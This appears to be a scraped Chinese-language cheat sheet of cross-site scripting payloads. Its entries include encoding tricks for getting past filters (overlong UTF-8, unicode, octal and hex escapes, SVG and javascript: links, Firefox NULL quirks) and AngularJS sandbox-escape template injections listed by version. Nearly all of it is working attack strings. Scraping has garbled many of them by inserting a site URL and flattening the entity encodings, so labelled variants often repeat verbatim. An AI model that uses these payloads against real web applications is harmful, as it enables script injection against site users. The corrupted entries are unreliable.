超长UTF-8
%C0%BCscript>alert(1)</script> %E0%80%BCscript>alert(1)</script> %F0%80%80%BCscript>alert(1)</script> %F8%80%80%80%BCscript>alert(1)</script> %FC%80%80%80%80%BCscript>alert(1)</script>Unicode转义
<script>\u0061lert(1)</script>Unicode转义ES6样式
<script>\u{61}lert(1)</script>Unicode转义ES6样式零填充
<script>\u{0000000061}lert(1)</script>十六进制编码JavaScript转义
<script>eval('\x61lert(1)')</script>八进制编码
<script>eval('\141lert(1)')</script> <script>eval('alert(\061)')</script> <script>eval('alert(\61)')</script>带有可选分号的十进制编码
<a href="javascript:alert(1)">XSS</a><a href="javascript:alert(1)">XSS</a>带有HTML编码的SVG脚本
<svg><script>alert(1)</script></svg> <svg><script>alert(1)</script></svg> <svg><script>alert
(1)</script></svg> <svg><script>x="",alert(1)//";</script></svg>带填充零的十进制编码
<a href="javascript:alert(1)">XSS</a>十六进制编码实体
<a href="javascript:alert(1)">XSS</a>如果下一个字符不是a-f0-9,则不使用分号的十六进制编码
<a href="javascript:alert(1)">XSS</a> <a href="j avascript:alert(1)">XSS</a> <a href="j avascript:alert(1)">XSS</a>带填充零的十六进制编码
<a href="javascript:alert(1)">XSS</a>十六进制编码不区分大小写
<a href="javascript:alert(1)">XSS</a>HTML实体
<a href="http://www.likecs.com/javascript:alert(1)">XSS</a> <a href="http://www.likecs.com/java	script:alert(1)">XSS</a> <a href="http://www.likecs.com/java
script:alert(1)">XSS</a> <a href="http://www.likecs.com/javascript:alert(1)">XSS</a>网址编码
<a href="javascript:x='%27-alert(1)-%27';">XSS</a>HTML实体和URL编码
<a href="javascript:x='%27-alert(1)-%27';">XSS</a> 混淆Firefox在&之后允许NULL
<a href="javascriptjavascript:alert(1)">Firefox</a>Firefox允许在命名实体内使用NULL
<a href="http://www.likecs.com/javascript:alert(1)">Firefox</a>Firefox在开头的注释中允许使用NULL字符
<!-- ><img title="--><iframe/onload=alert(1)>"> --> <!-- ><img title="--><iframe/onload=alert(1)>"> -->带有base64的脚本src中的数据协议
<script src=http://www.likecs.com/data:text/javascript;base64,YWxlcnQoMSk=></script> 客户端模板注入AngularJS沙箱逃逸
版本:1.0.1-1.1.5
{{constructor.constructor('alert(1)')()}}版本:1.0.1-1.1.5(较短)
{{$on.constructor('alert(1)')()}}版本:1.2.0-1.2.1
{{a=http://www.likecs.com/'constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}版本:1.2.2-1.2.5
{{{}.")));alert(1)//"}}版本:1.2.6-1.2.18
{{(_=http://www.likecs.com/''.sub).call.call({}[$=http://www.likecs.com/'constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}版本:1.2.19-1.2.23
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}版本:1.2.24-1.2.29
{{{}.")));alert(1)//"}}版本:1.2.27-1.2.29/1.3.0-1.3.20
{{{}.")));alert(1)//"}}版本:1.3.0
{{!ready && (ready = true) && ( !call ? $$watchers[0].get(toString.constructor.prototype) : (a = apply) && (apply = constructor) && (valueOf = call) && (''+''.toString( 'F = Function.prototype;' + 'F.apply = F.a;' + 'delete F.a;' + 'delete F.valueOf;' + 'alert(1);' )));}}版本:1.3.3-1.3.18
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)//');}}版本:1.3.19
{{'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;$eval('x=alert(1)//');}}版本:1.3.20
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}版本:1.4.0-1.4.9
{{'a'.constructor.prototype.charAt=[].join;$eval('x=http://www.likecs.com/1} } };alert(1)//');}}版本:1.5.0-1.5.8
{{x={'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(1)');}}